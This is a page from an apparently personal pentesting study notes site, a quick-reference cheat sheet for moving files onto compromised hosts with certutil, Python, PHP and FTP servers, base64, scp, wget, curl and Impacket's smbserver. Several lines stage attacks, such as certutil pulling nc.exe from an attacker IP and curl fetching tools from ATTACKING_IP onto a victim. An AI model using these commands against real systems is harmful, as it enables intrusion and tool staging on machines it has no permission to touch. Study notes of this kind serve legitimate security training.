🕶️
VICEINTELPRO
GitHub: HorrorClause
  • In Tenebris Videmus
  • 🚩CTFs
    • 💾Hack the Box
      • 🏫Academy
        • Command Injection Assessment
        • XSS Assessment
        • Web Attacks Assessment
    • Try Hack Me
      • In Progress
  • 📖Documents
  • 👨‍🏫HOW-TOs
    • Obisidian How-To
    • Setup Mandiant FLARE VM
  • 📑Security Fundamentals
    • Security Controls
      • Physical Security
      • Endpoint Security
      • Email Security
      • Network Security
      • AAA Controls
    • Networking 101
      • OSI Model
      • Network Fundamentals
      • Network Devices
      • Network Tools
      • Protocols and Ports
    • 👨‍💼Management Principles
      • Risk
      • Policies and Procedures
      • Compliance and Frameworks
      • Change and Patch Management
  • 🛡️Security Concepts
    • ⚠️Risk Assessment Models
      • DREAD Risk Assessment Model
      • STRIDE Threat Model
      • Common Vulnerability Scoring System (CVSS)
    • Pentesting
      • Common Terms
      • AV Identification-Evasion
      • Introduction to Payloads
      • Automating Payloads & Delivery with Metasploit
      • Shells Jack Us In, Payloads Deliver Us Shells
      • Web Shells
      • Pentesting Overview
      • Penetration Testing Process
    • 🐛Vulnerability Assessment
      • Common Vulnerabilities and Exposures (CVE)
      • Common Vulnerability Scoring System (CVSS)
      • Assessment Standards
      • Vulnerability Assessment
      • Vulnerability Scanning
      • Reporting
      • 🎯Nessus
        • Getting Started with Nessus
        • Nessus Scan
        • Working with Nessus Scan Output
        • Advanced Settings
        • Scanning Issues
      • 🦴OpenVAS (Greenbone)
        • Getting Started with OpenVAS
        • OpenVAS
        • Exporting Results
    • Passwords
      • Password Managers
      • Password Policies
      • Password Security Fundamentals
    • Frameworks
    • GRC
    • Logon Types
    • What is Dev-Null ?
  • ⚔️Offensive Security
    • OSINT
      • OSINT - Websites
      • Google Dorks
    • 🔫Attacking Common Services
      • The Concept of Attacks
      • Interacting with Common Services
      • Finding Sensitive Information
      • Attacking DNS
      • Attacking Email Services
      • Attacking FTP
      • Attacking RDP
      • Attacking SMB
      • Attacking SQL Databases
      • Cheat Sheet - Attacking Common Services
      • Service Misconfigurations
    • 🔪Attacking Web Apps with Ffuf
      • Web Fuzzing
      • Directory Fuzzing
      • Page Fuzzing
      • Recursive Fuzzing
      • DNS Records
      • Sub-domain Fuzzing
      • Vhost Fuzzing
      • Filtering Results
      • Parameter Fuzzing - GET
      • Parameter Fuzzing - POST
      • Value Fuzzing
    • ☁️Cloud
      • AWS
        • AWS S3 Buckets
    • 💉Command Injection
      • Command Injection Cheat Sheet
      • Intro to Command Injections
      • Detection
      • Injecting Commands
      • Other Injection Operators
      • Identifying Filters
      • Bypassing Space Filters
      • Bypassing Other Blacklisted Characters
      • Bypassing Blacklisted Commands
      • Advanced Command Obfuscation
      • Evasion Tools
      • Command Injection Prevention
    • Containers
      • Docker
    • ❌Cross-Site Scripting (XSS)
      • Introduction to XSS
      • Stored XSS
      • Reflected XSS
      • DOM XSS
      • XSS Discovery
      • Defacing
      • Phishing
      • Session Hijacking
      • XSS Prevention
    • Directory Busting
      • DirB
      • DirBuster
      • Ffuf
      • Gobuster
    • 🅰️DNS
      • DNSRecon
      • Fierce
    • File Inclusion
      • Local File Inclusion Cheatsheet
      • Intro to File Inclusion
      • Local File Inclusion (LFI)
      • Basic Bypass
      • PHP Filters
      • PHP Wrappers
      • Remote File Inclusion (RFI)
      • LFI and File Uploads
      • Log Poisoning
      • Automated Scanning
      • File Inclusion Prevention
    • File Transfers
      • Transferring Files
      • File Transfer - Quick Commands
      • Living off the Land
      • Windows File Transfer Methods
      • Linux File Transfer Methods
      • Catching Files over HTTP(S)
      • Transferring Files with Code
      • Miscellaneous File Transfer Methods
      • Protected File Transfers
      • Mounting Encrypted VHD Drives
      • Mounting VHD in Kali
      • File Transfer Detection
    • File Upload Attacks
      • File Upload Cheatsheet
      • Absent Validation
      • Upload Exploitation
      • Client-Side Validation
      • Blacklist Filters
      • Whitelist Filters
      • Type Filters
      • Limited File Uploads
      • Other Upload Attacks
      • Preventing File Upload Vulnerabilities
    • 👣Footprinting
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
      • Enumeration
        • Enumeration Methodology
        • 🖥️Host Based
          • Quick Commands
          • DNS
          • FTP
          • IMAP-POP3
          • IPMI
          • MSSQL
          • MySQL
          • NFS
          • Oracle TNS
          • SMB
  • Powershell
    • Powershell CheatSheet
  • Python
    • Map
    • Anonymous Functions
    • Recursion
      • ZipMap
      • Nested Sum
      • Recursion on a Tree
      • Count Nested Levels
      • Longest Word
    • Function Transformations
      • More Transformations
      • Why Transform?
    • Closures
    • Currying
    • Decorators
    • Sum Types
    • Enums
    • Match
    • Regex
  • Kusto (KQL)
    • SQL and KQL Comparison
    • Using the Where and Sort Operators
    • KQL Queries
  • HTML
  • Insecure File Uploads
Powered by GitBook
On this page
  • Certutil (Windows)
  • Python
  • HTTP
  • FTP
  • PHP
  • Base64
  • SCP (Requires SSH Access)
  • To use Secure Copy (SCP)
  • To use scp with an ssh access key:
  • To transfer a directory:
  • Wget (Linux)
  • Downloading a file and saving it with a specific name:
  • Resuming a download:
  • Downloading multiple files:
  • Downloading in the Background:
  • Adjusting Speed Limit:
  • Additional Options
  • cURL
  • Metasploit
  • SMBServer.py
  • Validating File Transfers
  1. Offensive Security
  2. File Transfers

File Transfer - Quick Commands

Certutil (Windows)


Certutil.exe -urlcache -f http://10.10.10.10/file.txt file.txt
certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe

Python


HTTP

# Python3 Opens port 80 as an http server to exfil data
$ python3 -m http.server 80

# Python2 
$ python -m SimpleHTTPServer 80

You can navigate to the IP and port 80 (or whatever port you set) and browse the directory.

You can chain this with certutil and prop up the http server on the attacker machine and use certutil to transfer tools over to the victim machine (Windows).

FTP

# Attacker machine
# Python2
$ python -m pyftpdlib 21

# Python3
$ python3 -m pyftpdlib -p 21 --write
# Windows Machine (victim)
>ftp {Attacker IP}

PHP


$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started

Base64


# Get the Base64 of the file
$ base64 shell -w 0

Now copy the base64 string and go to the remote host and decode it and pipe it into a file:

$ echo {base64 string} | base64 -d > shell

SCP (Requires SSH Access)


To use Secure Copy (SCP)

$ scp linenum.sh user@remotehost:/tmp/linenum.sh
  • linenume.sh: This is the file to transfer

  • /tmp/linenum.sh: You must specify the destination directory and filename for the transferred file

To use scp with an ssh access key:

scp -i <ssh_key> <file to transfer> user@<remotehost>:/home/user/filename

To transfer a directory:

$ scp -i id_rsa -r <Directory> adminuser@10.10.155.5:/home/adminuser/<Directory>

Wget (Linux)


Downloading a file and saving it with a specific name:

$ wget -O myfile.zip https://example.com/file.zip

Resuming a download:

If a download is interrupted, you can resume it with the -c option:

$ wget -c https://example.com/largefile.zip

Downloading multiple files:

$ wget https://example.com/file1.zip https://example.com/file2.zip

Downloading in the Background:

To download a file in the background (i.e., without holding up your terminal), use the -b option:

$ wget -b <URL>

Adjusting Speed Limit:

If needed, you can limit the download speed with --limit-rate:

$ wget --limit-rate=<rate> <URL>

Additional Options

  • Verbose Mode: Use -v to enable verbose output, showing detailed information about the download process.

  • User Authentication: Use --user and --password options for sites requiring authentication.

  • Using Proxy: Use --proxy-user and --proxy-password for proxy authentication.

cURL


If you are on a compromised machine you can use:

curl <ip of attacker>:<port python server is running>/<filename> -o /<dir on victim>/filename

Example transferring over nmap and changing permissions of the file:

curl ATTACKING_IP/nmap -o /tmp/nmap-USERNAME && chmod +x /tmp/nmap-USERNAME

Metasploit


Upload/Download feature, so if we have a meterpreter shell it is very easy to upload/download a file

SMBServer.py


Run smbserver.py, and set the shareName and sharePath:

$ smbserver.py p .
  • smbserver.py: Refers to the smbserver.py script, which is part of the Impacket toolkit. This script allows you to create an SMB server.

  • p: share name that will be created and can be accessed

  • .: The dot represents the current directory. It specifies the path to the directory that you want to share as an SMB share. In this case, it means the current directory in which you are running the command.

Now from the Windows machine on the same network, you can copy from the share you setup on the Kali box:

copy \\<Kali IP>\p\<filename>"

Validating File Transfers


PreviousTransferring FilesNextLiving off the Land

Last updated 3 months ago

In some cases, we may not be able to transfer the file. For example, the remote host may have firewall protections that prevent us from downloading a file from our machine. In this type of situation, we can use a simple trick to encode the file into base64 format, and then we can paste the base64 string on the remote server and decode it. For example, if we wanted to transfer a binary file called shell, we can base64 encode it as follows:

To validate the format of a file, we can run the command on it:

⚔️
base64
file